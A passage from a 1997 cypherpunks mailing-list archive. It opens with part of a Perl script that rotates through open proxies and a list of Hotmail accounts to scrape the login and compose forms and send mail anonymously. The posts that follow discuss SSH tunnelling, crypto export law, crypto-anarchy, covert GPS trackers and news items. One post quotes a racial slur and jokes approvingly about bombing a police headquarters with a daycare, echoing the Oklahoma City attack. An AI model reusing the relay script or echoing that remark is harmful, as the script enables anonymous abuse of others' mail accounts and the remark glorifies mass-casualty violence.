} else {
    ## Just fetch from the net
    $request = new HTTP::Request('GET', $proxylisturl);
    $request->header(Pragma => 'no-cache');
    $response = $uadirect->request($request);
    @proxylist = grep (/^[^#]/, split("\n", $response->content));
}

@proxylist = ('secure.escape.ca:80') if $#proxylist == -1;

## Get the account list
if (defined $config{'accountlistfile'}) {
    open(ACC, $config{'accountlistfile'}) or
	die "Cannot open $config{'accountlistfile'}: $!\n";
    @accountlist = grep (s/\n// && /^[^#]/, <ACC>);
    close(ACC);
}

@accountlist = ('ldeliverer:xxxx') if $#accountlist == -1;

## Choose a proxy and account at random

$proxy = $proxylist[int rand ($#proxylist+1)];
($login, $passwd) =
    $accountlist[int rand ($#accountlist+1)] =~ /^([^:]*):(.*)$/;

#print STDERR "Trying $login through $proxy\n";

## Begin hotmail-specific magic

$ua = new LWP::UserAgent;
$ua->proxy('http', "http://${proxy}/");

$url = new URI::URL 'http://www.hotmail.com/cgi-bin/password.cgi';
$request = new HTTP::Request('POST', $url);
$request->header(Pragma => 'no-cache');
$request->content("login=${login}&curmbox=ACTIVE");

$response = $ua->request($request);
$body = $response->content;
$body =~ /\<\s*form\s+[^>]*action=\"(.*?)\"/io or next RETRYLOOP;

$url = new URI::URL $1, $url;
$body = $';
$body =~ s/\<\s*\/form\s*\>.*//;
$body =~ /\<\s*input\s+[^>]*name=\"disk\"\s+value(=\"(.*?)\")?/io or next RETRYLOOP;
$disk = $2 || "";

$request = new HTTP::Request('POST', $url);
$request->header(Pragma => 'no-cache');
$request->content("passwd=${passwd}&frames=no&disk=${disk}&curmbox=ACTIVE&login=${login}&js=no");
$response = $ua->request($request);
$body = $response->content;

$body =~ /\<\s*area\s+[^>]*href=\"(\/cgi-bin\/compose.*?)\"/io or next RETRYLOOP;
$composeurl = new URI::URL $1, $url;
$body =~ /\<\s*area\s+[^>]*href=\"(\/cgi-bin\/logout.*?)\"/io or next RETRYLOOP;
$logouturl = new URI::URL $1, $url;

$request = new HTTP::Request('GET', $composeurl);
$request->header(Pragma => 'no-cache');
$response = $ua->request($request);
$body = $response->content;

$body =~ /\<\s*form\s+[^>]*action=\"(.*?)\".*?\>/io or next RETRYLOOP;
$url = new URI::URL $1, $composeurl;
$body = $';
$data = '';
while(1) {
    $body =~ /^\s*\<\s*input\s+type=\"?hidden\"?\s+name=\"(.*?)\"\s+value(=\"(.*?)\")?\s*\>/io or last;
    $name = $1; $value = $3 || ""; $body = $';
    $data .= $name."=".$value."&";
}
$data .= "to=$header{'to'}&subject=$header{'subject'}&cc=$header{'cc'}&bcc=$header{'bcc'}&body=${msg}&Send.x=1&Send.y=1";

$request = new HTTP::Request('POST', $url);
$request->header(Pragma => 'no-cache');
$request->content($data);
$response = $ua->request($request);
$body = $response->content;
$body =~ /\<\s*title\s*\>\s*Hotmail\s*-\s*Mailbox/io or next RETRYLOOP;

$request = new HTTP::Request('GET', $logouturl);
$request->header(Pragma => 'no-cache');
$response = $ua->request($request);
last RETRYLOOP;  ## Success
}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: YoungGirl <support@youngestsluts.com>
Date: Thu, 14 Aug 1997 11:38:54 +0800
To: cypherpunks@toad.com
Subject: Re: Sign up on YoungSluts click thru Program
Message-ID: <199708140251.WAA12029@columbia.ctlnet.com>
MIME-Version: 1.0
Content-Type: text/plain



sorry to bother you but did you want to sign up on the click thru program if 
you did as you see below we did not get any info if your browser cant send 
forms just e-mail the information and we will get you up and running tonite 


Thank you



At 07:46 PM 8/13/97 -0700, you wrote:
>Below is the result of your feedback form.  It was submitted by
> (cypherpunks@toad.com) on Wednesday, August 13, 1997 at 19:46:18
>---------------------------------------------------------------------------
>
>site_name: http://
>
>first_name: cypherpunks
>
>last_name: cypherpunks
>
>mode: add
>
>---------------------------------------------------------------------------
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 14 Aug 1997 12:55:27 +0800
To: Mike Jones <Mkljones@cris.com>
Subject: Re: Hypothetical situation for networks
In-Reply-To: <Pine.SUN.3.96.970813213346.8665A-100000@mariner.cris.com>
Message-ID: <199708140445.XAA07502@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SUN.3.96.970813213346.8665A-100000@mariner.cris.com>, on 08/13/97

   at 09:39 PM, Mike Jones <Mkljones@cris.com> said:

>This is a 100% hypothetical situation, though would be interesting to see
>if it is possible.

>A company does some R&D work, which it wishes to keep classified from
>competitors.

>However, they have two main offices on opposite sides of the country.

>Not wishing to use sneakernet type file transfer, they wish to pass
>confidential material from one network to the other using the Internet.

>Now we all know that anyone with a little bit of knowledge can intercept
>the packets as they go past and read the information.

>Email is out, as they do use a system of file mirroring, keeping each set
>of data as a backup as well as for usage.

>Would make sense for them to use a type of NFS system, but is there an
>implimentation of secure (ie: encrypted) NFS available?

>OS doesn't really matter, as it is a hypothetical system, but we'll
>assume either some form of unix/linux, or perhaps winNT or novell
>NetWare.

>Thanks in advance for the info and knowledge...sorry if it's been asked
>before.

Redirect all your socket connections through ssh. That way all your
communications between the two offices will be encrypted.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM/J/T49Co1n+aLhhAQFRLQQAm8iDbnsS1Rp//LiskXr/B9e5O7EcqSvt
MRBotK9KeHET8qGDqexzt/U5OPH+gDVO3qAp5RZ/gl6LSRTTZON/gBheOeaVJIcl
QqbDPshblGpibaxa9zUNADii6tlSwhp2qwV8hXuUsMZcYHOWu5CSzs3aVzbV2pDq
+uAC20JyQpg=
=XSLK
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 14 Aug 1997 09:13:05 +0800
To: sunder@brainlink.com
Subject: Re: Fuck the usenet cabal
In-Reply-To: <Pine.SUN.3.96.970813170850.7599T-100000@beast.brainlink.com>
Message-ID: <199708140020.BAA09457@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Ray Arachelian <sunder@brainlink.com> writes:
> On Tue, 12 Aug 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > [using autoresponder to violate ITAR]
> > Is anyone going to be guilty of ITAR violations?
> 
> Nice idea Doc, but anyone who goes there you can bet will have their email
> address added to spamfords databases, and they'll also get loads of spam
> in addition to the crypto you wish to export.  :)  Let's not make deals
> with the devil.  (Still if the guy on the other side is smart enough to
> get a temporary demo account, you're on to a good idea.)

perhaps a hotmail account would do the trick, just bin the account
when you've finished.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Thu, 14 Aug 1997 08:08:54 +0800
To: cypherpunks@toad.com
Subject: Re: TCM goes to city council
In-Reply-To: <199708121951.MAA00280@netcom12.netcom.com>
Message-ID: <199708140312.DAA00972@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



Vladimir Z. Nuri wrote:

> seriously, if cypherpunks think government is so crappy, let see
> them invent a better alternative than that which exists. note that
> "anarchy" evades the problem completely. it's like saying, "I hate
> my web browser" and someone saying, "oh, just get rid of it, the
> alternative is far better".  an 8 year old would understand this
> logic, but alas it eludes the cpunks after many moons on this list.

i love they way your category of smartass nihilists (the _elite_ dispondent 
blockheads - btw these are proposed categories for my reputation system) 
talk about "anarchy" being analogous to someones mid-life browser crisis and at
the same time completely missing the point. ok, lemme explain what 
crypto-anarchy is and _what_ is the alternative system that some folks
"invented", while you were smoking up. 

this incedently reminds me of a conversation i had with this guy at college once, 
who insisted that i called him "razor" and was some sort of a self-proclaimed 
authority on freudian theories of conscioussness. he talks too much but is 
always willing to learn and wanted to know what the fuck is this "crypto" biz.
anyway I started it with a small introduction to the loose term "human nature" 
since he is familiar with that stuff and I think its a good place to start a discussion 
that has to with any sort of "human" system. 

The term "human nature" means that we guys have "volitional consciousness" 
which is synonymous to the concept of "self awareness" that is higlighted as 
the turning point of human existence in many eastern mystical texts. Which 
implies "choice" is the inescapable concequence of our nature and we 
need to make choices in order to exist. Those who choose poorly 
suffer or die. Theoretically this means that we need a "value system" 
to live (contrary to the popular belief ethics has hardly anything to do 
with "co"-existing) with the our standard of value as Life. 

In the social context, the "right to choose" is the basic human right.
And this was what mystics, collectivists, religious cults, popes 
and the governments decided to snatch at the point of a gun. 

And thats exactly the idea behind a virtual, cyberspacial society, 
physical coercion is invalid in this dimension. crypto provides 
the essential annonymity required to close/stonewall the system so that no 
one can trace your online avatar to your physical self. 

crypto-anarchy is thus a social setup where a virtual community of 
objects use crypto for annonymity, interaction and arbitration. one can 
think of crypto playing the government of the society. it arbitrates
by making fraud impossible. 

thats the basic idea. i suggest you look up the web, there are tons
of crypto resources. even though i am new to list i feel you certainly need 
to get yourself a straight education. i could have given you a wider introduction 
to the subject but i am tired. there are days when you keep bumping 
into these wierdo's you want to hit on the head and say "the universe
doesn't work that way". and these guys are tiring. 

best,
vipul


-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objetcts 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Thu, 14 Aug 1997 08:28:35 +0800
To: sunder@brainlink.com
Subject: Re: Fuck the usenet cabal
In-Reply-To: <Pine.SUN.3.96.970813161558.7599O-100000@beast.brainlink.com>
Message-ID: <199708140535.FAA01661@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----

Ray Arachelian wrote:

> On Wed, 13 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> > What if a non-US person paid them $40 to spam people outside the U.S.
> > with strong crypto?
> > 
> > Is it possible to stuff a blatant ITAR violation into about 100 lines of ascii?

> Already been done.  RSA in 4 lines of Perl, etc...  Heck there was even a
> site out that that cut a UUENCODED copy of PGP into many bits and asked

Is RSA in 3 lines of PERL an ITAR violation? Its more like "meta" code for bc
todo RSA. adam?

- -- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i

iQCVAwUBM/KZHvfccPDXGRjVAQEIxgP/Y6SXfAnz8wu5g6k1a2ZBoDtbq5qifjzL
ENNZBEx4ncd20o2kx71mvUEcpfkiZ3XWxKQWHMgji28Av9XQa+TU1BtEY5jjShV4
YSdjQgerzCMDdr2stvIbfFwUaIYxwn1tjUkvle2wMmGDK4NDUf6iXFOa5jFtn1aZ
bvjO2iZTlKg=
=Ro2S
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 14 Aug 1997 21:43:07 +0800
To: cypherpunks@toad.com
Subject: Re: Hypothetical situation for networks
In-Reply-To: <Pine.SUN.3.96.970813213346.8665A-100000@mariner.cris.com>
Message-ID: <63eFBe4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike Jones <Mkljones@cris.com> writes:

> A company does some R&D work, which it wishes to keep classified from
> competitors.
...
> Not wishing to use sneakernet type file transfer, they wish to pass
> confidential material from one network to the other using the Internet.

They should not be using the Internet not (only) because of security
considerations, but because of performance/reliability/availability
considerations.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 14 Aug 1997 20:08:59 +0800
To: dlv@bwalk.dm.com
Subject: PGP in < 100 lines of perl (was Re: Fuck the usenet cabal)
In-Reply-To: <wiLeBe21w165w@bwalk.dm.com>
Message-ID: <199708140730.IAA00648@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Dimitri Vulis <dlv@bwalk.dm.com> writes:
> > > Is it possible to stuff a blatant ITAR violation into about 100
> > > lines 
> >
> > Already been done.  RSA in 4 lines of Perl, etc...  
> 
> I mean a useable package.

I once started trying to implement full PGP functionality in as few
lines of perl/dc as possible.

I got pgp signature verification working.
and PGP compatible IDEA PRZ style CFB mode in 9 lines.  
and PGP key lookup in 7 lines.
and MD5 in 8 lines.

(Several of those were other peoples contributions)

If you used /dev/random for random numbers plus a bit more glue, it
would've worked.  Everything put compression and key generation.

There was a perl competition for the most interesting program in under
2000 characters of perl.  I ran out of enthousiasm, patience before
completing.

With a whole 100 lines to play with you could probably do key gen and
compression too.  (I wondered if you could shell gzip or zip and some
hacking to get PGP zip functionality, as it is just ripped off zip
code).

Makes you wonder what PRZ did wrong with pgp 2.x, what did he use to
pad it out to 34,881 lines?

PGP 5.0 is fearsomely large, and I'm sure you could do the rest too in
a few more 10s of lines (already got an SHA1, DSS is more twiddling in
dc, already got DES in 21 lines, no CAST but that wouldn't be too
hard).

If anyone is interested naturally I can share the current code.  The
perl 2000 char competition probably is once a year or something.

Any takers?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 14 Aug 1997 21:00:44 +0800
To: cypherpunks@toad.com
Subject: CIA/NSA Index
Message-ID: <1.5.4.32.19970814123122.0067fca0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



There's a provocative list of forbidden CIA and NSA/CSS 
records which are not available under the Privacy Act, and 
which constitute a sort of negative awaiting development:

   http://jya.com/cia-privacy.htm  (82 categories)

  http://jya.com/nsa-privacy.htm  (19 categories)

There are similar lists of national privacy proscriptives for 
most federal agencies available at the source for these. The
one for Defense is an elephantine 1.4 MB, with tiny tims for
the TLAs.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Thu, 14 Aug 1997 15:39:27 +0800
To: cypherpunks@toad.com
Subject: Re: Fuck the usenet cabal
In-Reply-To: <Pine.SUN.3.96.970813161558.7599O-100000@beast.brainlink.com>
Message-ID: <3.0.3.32.19970814092117.0097c820@localhost>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dr.Dimitri Vulis KOTM wrote:
>However the point is to get Cyberpromo to export crypto in violation of
>ITAR without annoying people with spam.

Why? All crypto has already been exported. If you're trying to get
Spamford in trouble by blowing the whistle on him for EAR violations, it
won't work. He'll just claim that he wasn't aware of the crypto export
and then he'll shut down that auto responder. It is not illegal to
export crypto unknowingly.

Spend your free time on debugging PGP5 instead.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM/K93cUc8bdD9cnfEQLzZQCg9WqtS0Enu1Pff+E8I0YzLbGQCxkAn3j0
SU+xwU5CGufp/kgzs5earrpC
=T1Mj
-----END PGP SIGNATURE-----


Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 15 Aug 1997 01:42:00 +0800
To: cypherpunks@toad.com
Subject: McVeigh to die, quotes Brandeis
Message-ID: <Pine.GSO.3.95.970814102408.19346L-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




/cat:A/pri:U/sld:A/por:1/for:5/slu:PM-MCVEIGH 2ndLd-Writethru -----
@TEXT
	<B>PM-McVeigh, 2nd Ld-Writethru, a0621-624-626-535,0777<P>
	<B>URGENT<P>
	<B>McVeigh sentenced to death; quotes Brandeis about teaching by
example<P>
	<B>AP Photos staffing<P>
<B>By SANDY SHORE<P>
<B>Associated Press Writer<P>
	DENVER (AP) - Timothy McVeigh was formally sentenced to death
today for the Oklahoma City bombing after he quoted Supreme Court Justice
Louis Brandeis that the government "teaches the whole people by its
example."
	McVeigh, wearing tan khaki slacks and tan shirt, was animated as
he awaited the arrival of U.S. District Judge Richard Matsch, but turned
grim after the death sentence was handed down.
	He spoke briefly before Matsch formally imposed the
jury-sanctioned verdict.
	McVeigh quoted from a dissenting opinion written by Brandeis in
1928 in a wiretapping case, Olmstead vs. United States. McVeigh said: "He
wrote, "Our government is the potent, the omnipresent teacher. For good or
for ill, it teaches the whole people by its example.' That's all I have,
Your Honor."
	McVeigh made his brief statement, which may have been a slap at
the government that prosecuted him, in rapid-fire, clipped tones. He did
not plead for his life or admit to any role in the bombing.
	Victims in the courtroom sat stone-faced and some stared angrily
as McVeigh made his comments.
	Outside the courthouse, prosecutor Joseph Hartzler warned
reporters, "Don't interpret his words as those of a spokesman or a
statesman."
	McVeigh's lawyer, Stephen Jones, said, "today is a solemn day of
judgment to follow through on the jury's verdict." He said he filed a
notice of appeal this morning.

[...]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matthew Ghio <ghio@temp0110.myriad.ml.org>
Date: Fri, 15 Aug 1997 01:48:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hypothetical situation for networks
In-Reply-To: <Pine.SUN.3.96.970813213346.8665A-100000@mariner.cris.com>
Message-ID: <199708141738.KAA08443@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian <sunder@brainlink.com> wrote:

> Can NFS under solaris or linux be tunneled through SSH?  That would seem
> feasable (that is if you can get SSH to tunnel a UDP...)

Yes, you can tunnel SLIP/PPP thru SSH.  (Works on Linux, don't know about
solaris.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 14 Aug 1997 23:06:23 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Memme: Crypto=Bullet Proof Vests (fwd)
In-Reply-To: <199708140252.VAA27127@einstein.ssz.com>
Message-ID: <Pine.SUN.3.96.970814105754.21579D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 13 Aug 1997, Jim Choate wrote:

> How did the police get special 'rights' that normal citizens don't?
> Especialy considering that they are mentioned no place in the Constitution.
> And the Constitution specificaly prohibits via the 10th such self-invoked
> expansion of powers.

There are other devices that can only be bought by LEA's but those are
usually surveilance gear.  The SpyKing seminar told us that there are "GPS
recorders" that can be planted in a mark's car, which will record all the
coordinates ever second, where the mark was, so by planting this nice
device and retrieving it, you get a lovely map without having to trail the
guy.

There's another version which you don't have to retrieve that allows you
to drive next to the mark's car then have the data beamed back to you!

Since it isn't a bug and doesn't transmit anything (until triggered), it's
very hard to detect in your car.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 14 Aug 1997 23:17:10 +0800
To: cypherpunks@toad.com
Subject: Re: Sign up on YoungSluts click thru Program
In-Reply-To: <199708140251.WAA12029@columbia.ctlnet.com>
Message-ID: <Pine.SUN.3.96.970814110135.21579E-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




would you guys quit giving cypherpunks@toad.com as your email address for
your porno runs.  The extra spam is annoying. :)  use nobody@nowhere.mil
if you want... :)


On Wed, 13 Aug 1997, YoungGirl wrote:

> sorry to bother you but did you want to sign up on the click thru program if 
> you did as you see below we did not get any info if your browser cant send 
> forms just e-mail the information and we will get you up and running tonite 
> 
> 
> Thank you
> 
> 
> 
> At 07:46 PM 8/13/97 -0700, you wrote:
> >Below is the result of your feedback form.  It was submitted by
> > (cypherpunks@toad.com) on Wednesday, August 13, 1997 at 19:46:18
> >---------------------------------------------------------------------------
> >
> >site_name: http://
> >
> >first_name: cypherpunks
> >
> >last_name: cypherpunks
> >
> >mode: add
> >
> >---------------------------------------------------------------------------
> >
> >
> 
> 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 14 Aug 1997 23:36:16 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Memme: Crypto=Bullet Proof Vests
In-Reply-To: <v03102804b0181d43e1a2@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970814110407.21579F-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 13 Aug 1997, Tim May wrote:

> 
> Careful with this argument!

Okay, so let's modify it to be domestic then and say "only cops can buy
body armor" etc... instead.
 
> Better be careful with this analogy. In fact, armor of various sorts is
> clearly a defense item, and is often on the list of restricted items. For
> example, Chobham and reactive tank armor was strictly controlled.

> Personally, I think Cypherpunks should concentrate on making crypto
> ubiquitous in the United States, and monkeywrench "by any means available"
> any plans to restrict in any way the use of strong crypto within the U.S.

Welp, using such arguements whenever possible, whenver the media and the
kongress will list will help monkeywrench domestic anti-crypto
legislation, or GAK only legislation.  This is still a valuable tool to
use in addition to making it ubuquitous. :)

Here's another project: if we can get enough $$$ to burn thousands of CD's
burned with Crypto on them and then get Software ETC and Egghead, and Rat
Shack and others to give them away as freebies the way that they give away
Netcomm and Prodigy and AOL CD's, we could reach quite a few folks.

I've done some of this a few years back at various PC and other Expos on
floppies, but getting Win95 and Mac versions of PGP wrappers and stuff to
fit on a floppy isn't feasable. :)

What would be cool is if we could ship an EudoraLite with a freeeware PGP
built (or some such), a crypto IRC client, an anonymous remailer client
(like the mixmaster java applet) and other such "internet access tools" on
this CD and tout it as Secure Internet access tools or some such. :) 

And if we can get a bunch of ISP's to allow us to use their client
software, say Netcom and such (not that I want to give them money) it
could be pretty useful for Joe Sixpack "I wanna get on the 'net thing" 

> By the way, there are already laws in place limiting "cop killer bullets,"
> and some restrictions are already in place for limiting body armor (the
> preferred name for "bullet proof vests").
> 
> "For law enforcement use only" is the label used.

> So I'd be careful with all of these munitions and armor analogies. The
> First Amendment arguments are much stronger and less ambiguous.

True, but when they scream "save the children" we can use the above and
show that our own government forbids us to "save the kids" from bullets by
making wearing of body armor forbidden.   We can then say crypto=body
armor and take it from there possibly getting both released.  (That and
three quarters will buy you a cup of coffe, but we have to try.)

The arguement can be raised, why can't normal citizen units purchase
bullet proof vests?  If this isn't a clear cut hint that we've been living
in a police state, what is?  Cops sodomizing black men on the street with
toilet plungers and beating the shit out of them?  Gun laws? :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 14 Aug 1997 23:50:54 +0800
To: Mike Jones <Mkljones@cris.com>
Subject: Re: Hypothetical situation for networks
In-Reply-To: <Pine.SUN.3.96.970813213346.8665A-100000@mariner.cris.com>
Message-ID: <Pine.SUN.3.96.970814113451.21579G-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 13 Aug 1997, Mike Jones wrote:

> Would make sense for them to use a type of NFS system, but is there an
> implimentation of secure (ie: encrypted) NFS available?
> 
> OS doesn't really matter, as it is a hypothetical system, but we'll assume
> either some form of unix/linux, or perhaps winNT or novell NetWare.

Can NFS under solaris or linux be tunneled through SSH?  That would seem
feasable (that is if you can get SSH to tunnel a UDP...)   If not, you
could use microsoft's PPTP, but I wouldn't trust its cyphers.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 14 Aug 1997 23:46:22 +0800
To: John Young <jya@pipeline.com>
Subject: Re: CIA/NSA Index
In-Reply-To: <1.5.4.32.19970814123122.0067fca0@pop.pipeline.com>
Message-ID: <Pine.SUN.3.96.970814113741.21579H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 14 Aug 1997, John Young wrote:

> There's a provocative list of forbidden CIA and NSA/CSS 
> records which are not available under the Privacy Act, and 
> which constitute a sort of negative awaiting development:
> 
>    http://jya.com/cia-privacy.htm  (82 categories)
> 
>   http://jya.com/nsa-privacy.htm  (19 categories)

I hope you mirrored those text files, 'cause the links on gpo.gov that
you're pointing to show nothing on my browser.  (could be the network here
is effed, but, check these sites again...)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Fri, 15 Aug 1997 03:30:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Toilet plungers and sodomy: Why we should trust police blindly
In-Reply-To: <Pine.GSO.3.95.970814134308.29609B-100000@cp.pathfinder.com>
Message-ID: <19970814191950.8410.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain




> 	Louima has said an officer shoved a toilet plunger into his
> rectum, and then into his mouth.
> 	"They said, "Take this, nigger,' and stuck the stick in my rear
> end," Louima, 30, said in a hospital interview.

Gee, where's Tim McVeigh when you really need him?  I wonder if they
have daycare centers at police headquarters.  

Broken eggs, etc...

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 15 Aug 1997 04:01:00 +0800
To: cypherpunks@toad.com
Subject: Clinton on mandatory voluntary gun locks
Message-ID: <Pine.GSO.3.95.970814124904.19346Y-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




	<B>AM-Clinton-Gun Locks,160<P>
	<B>Clinton applauds gunmaker for safety locks<P>
	WASHINGTON (AP) - President Clinton belatedly applauded Smith &
Wesson Thursday for the handgun manufacturer's decision to begin
outfitting all its pistols with safety trigger locks.
	In a written statement, the president called the move "an
important and responsible step for children's safety" and said he hoped it
would encourage the Congress to require safety locks on all guns sold.
	"Child safety locks are the right thing to do," Clinton said.
	Smith & Wesson, the country's largest gunmaker, announced Monday
that all of their handguns would be equipped with a two-piece, keyed lock
starting next month.
	Clinton has pushed legislation requiring such locks with all gun
purchases, but House and Senate committees rejected the provision when
they put together their anti-crime legislation earlier this year. The
Senate bill must still be voted on by the full chamber when it returns
from the August recess.
	APTV-08-14-97 1544EDT
	  






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 15 Aug 1997 04:06:43 +0800
To: cypherpunks@toad.com
Subject: Text of Clinton's remarks on child safety locks for handguns
Message-ID: <Pine.GSO.3.95.970814124958.19346Z-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




STATEMENT BY THE PRESIDENT
	This week, Smith and Wesson -- the world's largest manufacturer
of handguns -- announced that it is forging a partnership with the
Master Lock Company to provide a child safety lock with every handgun
sold for commercial use.  I applaud both of these companies for their
efforts to promote gun safety.
	I particularly want to commend Smith and Wesson for taking an
important and responsible step for children's safety.  Child safety
